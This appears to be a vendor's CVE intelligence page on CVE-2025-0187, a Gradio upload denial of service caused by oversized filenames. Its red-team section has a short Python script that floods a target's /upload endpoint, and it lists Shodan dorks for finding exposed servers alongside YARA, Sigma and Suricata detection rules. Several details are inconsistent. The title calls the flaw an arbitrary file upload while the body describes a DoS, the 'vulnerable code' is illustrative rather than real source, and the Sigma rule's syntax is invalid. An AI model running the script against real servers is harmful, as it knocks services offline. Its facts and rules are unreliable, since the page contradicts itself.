☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-0187

CVE-2025-0187 Arbitrary File Upload in Gradio-app
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.75%
👁️
0.75% probability
18.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0187 is a Denial of Service (DoS) vulnerability in the file upload feature of gradio-app/gradio version 0.39.1. The vulnerability is caused by improper handling of form-data with an excessively large filename in the file upload request. An attacker can send a specially crafted payload with a large filename, overwhelming the server and causing it to become unresponsive, leading to unavailability for legitimate users. The CVSS score is 7.5 (High), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, indicating network exploitability, low attack complexity, no privileges required, no user interaction, and high availability impact.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gradio is a Python package available on PyPI. This vulnerability affects the file upload functionality, which is a core feature of the library. Organizations using Gradio in production environments should assess their exposure and apply mitigations immediately. The package is widely used for building machine learning demos and web interfaces, making this a potential supply chain risk if the vulnerable version is embedded in downstream applications.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – The victim does not need to perform any action.
  • Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data is exposed.
  • Integrity (I): None (N) – No data is altered.
  • Availability (A): High (H) – The server becomes completely unresponsive.

Threat Level: High. The ease of exploitation and lack of authentication make this a significant risk for any publicly accessible Gradio instance.

Deep Dive & Mechanics

The vulnerability resides in the file upload endpoint of Gradio. When a user uploads a file, the server processes the multipart/form-data request. The filename is extracted from the Content-Disposition header. In the vulnerable version, there is no limit on the size of the filename. An attacker can send a request with a filename that is extremely large (e.g., several megabytes or gigabytes). The server attempts to allocate memory for this filename, leading to resource exhaustion (CPU and memory). This causes the server to become unresponsive, denying service to legitimate users.

The core issue is a lack of input validation and resource limits on the filename field. The server does not check the length of the filename before processing it, allowing an attacker to trigger uncontrolled resource consumption.

Vulnerable vs. Patched Code

Vulnerable Code (gradio 0.39.1):

# In the file upload handler
def handle_upload(request):
    # No validation on filename length
    filename = request.files['file'].filename
    # Process the file...

Patched Code (Hypothetical):

# In the file upload handler
MAX_FILENAME_LENGTH = 255  # Or a reasonable limit

def handle_upload(request):
    filename = request.files['file'].filename
    if len(filename) > MAX_FILENAME_LENGTH:
        return "Filename too long", 400
    # Process the file...

The patch would add a check on the filename length, rejecting requests with excessively long filenames before any resource-intensive processing occurs.

Exploitation & Lab Setup

Red Team

Objective: Cause a Denial of Service on a Gradio server.

Lab Setup:

  1. Deploy a vulnerable Gradio instance (version 0.39.1) on a local machine or container.
  2. Use a tool like curl or a custom Python script to send a malicious request.

Exploit Script (Python):

import requests

url = "http://target:7860/upload"  # Adjust endpoint as needed
large_filename = "A" * 1000000  # 1 MB filename

# Craft multipart form-data with large filename
files = {'file': (large_filename, 'dummy content', 'text/plain')}
response = requests.post(url, files=files)
print(f"Status: {response.status_code}")

Execution:

  • Run the script against the target.
  • The server should become unresponsive or return errors for subsequent requests.

Expected Outcome: The server's CPU and memory usage spike, and it becomes unable to handle legitimate requests.

Blue Team

Objective: Detect and mitigate the attack.

Detection:

  • Monitor for requests with abnormally large filenames in the upload endpoint.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Apply input validation on the server side (if patching is not possible).
  • Use a Web Application Firewall (WAF) to block requests with filenames exceeding a certain length.
  • Implement rate limiting on the upload endpoint.

Indicators of Compromise (IOCs)

  • Network Traffic: HTTP POST requests to the file upload endpoint with an excessively large filename in the Content-Disposition header.
  • Logs: Server logs showing repeated upload attempts with filenames of unusual length (e.g., > 1024 characters).
  • System Metrics: High CPU and memory usage on the server, correlated with upload requests.
  • Error Messages: "Out of memory" or "Connection refused" errors from the server.

Detection Engineering

YARA Rule

rule CVE_2025_0187_DoS_Large_Filename {
    meta:
        description = "Detects HTTP requests with excessively large filenames targeting Gradio file upload"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0187"
    strings:
        $content_disposition = /Content-Disposition: form-data; name="file"; filename="[^"]{1024,}/
    condition:
        $content_disposition
}

Sigma Rule

title: CVE-2025-0187 Gradio DoS via Large Filename
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with abnormally large filenames in Gradio file uploads
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'  # Adjust as needed
        cs(User-Agent): '*'  # Any user agent
        cs(Content-Type): 'multipart/form-data*'
        cs(Content-Disposition): '*filename=*'
    condition: selection and |len(cs(Content-Disposition)) > 2048
falsepositives:
    - Legitimate large filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0187 Gradio DoS Large Filename"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/Content-Disposition: form-data; name=\"file\"; filename=\"[^\"]{1024,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: If possible, upgrade to a patched version of Gradio (once available). If not, apply the following mitigations:
    • Implement input validation on the filename length in the application code.
    • Use a reverse proxy (e.g., Nginx) to limit request body size and filename length.
    • Configure a Web Application Firewall (WAF) to block requests with filenames exceeding a reasonable length (e.g., 255 characters).
  2. Long-term: Monitor the Gradio project for official patches and apply them promptly. Conduct regular security audits of dependencies.
  3. Detection: Deploy the YARA, Sigma, and Suricata rules provided to detect exploitation attempts.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

gradio-app
gradio file upload
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0187/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.